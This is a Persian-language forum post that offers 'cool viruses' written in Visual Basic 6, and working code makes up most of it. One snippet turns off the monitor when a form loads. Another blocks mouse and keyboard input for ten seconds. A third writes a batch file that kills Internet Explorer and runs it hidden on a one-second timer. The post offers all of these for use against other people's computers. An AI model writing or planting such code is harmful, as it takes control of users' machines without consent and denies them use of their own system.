چند تا ویروس با حال با ویژوال بیسیک

خاموش شدن مانیتور :
میدونم که این ویروس را خیلی جاها دیدین اما گفتم شاید بعضی ها بلد نباشند.

[PHP]Option Explicit
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Any) As Long

Const SC_MONITORPOWER = &HF170&
Const MON_OFF = 2&
Const WM_SYSCOMMAND = &H112
Private Sub Form_Load()

SendMessage Me.hWnd, WM_SYSCOMMAND, SC_MONITORPOWER, MON_OFF

End Sub[/PHP]

از کار انداختن موس و کیبورد :
این کد می تونه موس و کیبورد را به مدت 10 ثانیه از کار بندازه.

[PHP]Private Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Sub Form_Activate()

DoEvents
'block the mouse and keyboard input
BlockInput True
'wait 10 seconds before unblocking it
Sleep 10000
'unblock the mouse and keyboard input
BlockInput False
End Sub[/PHP]

بستن تمام صفحات وب:

[PHP]

Open "c:\1.bat" For Output As #1
Print #1, "tskill iexplore"
Close #1

[/PHP]

ااگه خواستید کار بردیش کنید یک تایمر با Interval=1000 ایجاد کنید و این کد ها را توش بنویسید:

[PHP]Shell "c:\1.bat", vbHide[/PHP]